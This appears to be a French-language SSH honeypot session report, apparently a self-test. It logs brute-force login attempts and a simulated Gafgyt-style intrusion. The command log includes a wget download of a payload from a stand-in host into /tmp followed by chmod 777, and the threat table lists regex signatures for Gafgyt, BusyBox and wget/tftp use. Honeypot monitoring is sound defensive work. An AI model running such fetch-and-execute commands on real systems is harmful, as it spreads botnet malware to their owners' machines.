Session #12
82.64.85.153 · 26/07/2026 22:47:04
Réseau
- IP
- 82.64.85.153
- Port source
- 40040
- Pays
- France FR
- Ville
- —
- ASN
- —
- Opérateur
- —
- Réseau
- —
- Hébergeur
- Non détecté
Connexion SSH
- Client
- SSH-2.0-paramiko_5.0.0
- Utilisateur accepté
- test-gafgyt
- Mot de passe accepté
- honeypot-test
- Début
- 26/07/2026 22:47:04
- Fin
- 26/07/2026 22:47:07
Tentatives d’authentification
| Date | N° | Utilisateur | Mot de passe | Résultat |
|---|---|---|---|---|
| 26/07/2026 22:47:04 | 1 | test-gafgyt | test-one | Refusé |
| 26/07/2026 22:47:04 | 2 | test-gafgyt | admin123 | Refusé |
| 26/07/2026 22:47:04 | 3 | test-gafgyt | password | Refusé |
| 26/07/2026 22:47:04 | 4 | test-gafgyt | honeypot-test | Accepté |
Événements de menace
| Date | Type | Gravité | Points | Description | Preuve |
|---|---|---|---|---|---|
| 26/07/2026 22:47:04 | scanner_detection | 3/5 | +15 | Scanner automatisé suspecté : hydra_or_ncrack_suspected | 4 tentatives dans la même session; cadence rapide=True |
| 26/07/2026 22:47:04 | fake_login | 1/5 | +5 | Faux login accepté | test-gafgyt |
| 26/07/2026 22:47:05 | mirai_behavior | 4/5 | +20 | Utilisation de BusyBox | /bin/busybox echo test |
| 26/07/2026 22:47:06 | payload_download | 3/5 | +20 | Téléchargement avec wget | wget http://192.0.2.10/gafgyt-test -O /tmp/gafgyt-test |
| 26/07/2026 22:47:06 | botnet | 5/5 | +25 | Campagne ou famille de malware suspectée : gafgyt_suspected | \b(?:bins|gafgyt|bashlite|qbot)\b, (?:^|/)busybox\b, \b(?:wget|tftp)\b |
| 26/07/2026 22:47:06 | scanner_detection | 3/5 | +0 | Scanner automatisé suspecté : gafgyt_suspected | Signatures comportementales : \b(?:bins|gafgyt|bashlite|qbot)\b, (?:^|/)busybox\b, \b(?:wget|tftp)\b |
| 26/07/2026 22:47:06 | payload_execution | 3/5 | +15 | Rend un fichier exécutable | chmod 777 /tmp/gafgyt-test |
Commandes
$ echo gafgyt bashlite qbot
bash: echo: command not found
$ /bin/busybox echo test
bash: /bin/busybox: command not found
$ wget http://192.0.2.10/gafgyt-test -O /tmp/gafgyt-test
Connecting... wget: unable to resolve host address: Temporary failure in name resolution
$ chmod 777 /tmp/gafgyt-test
$ exit
logout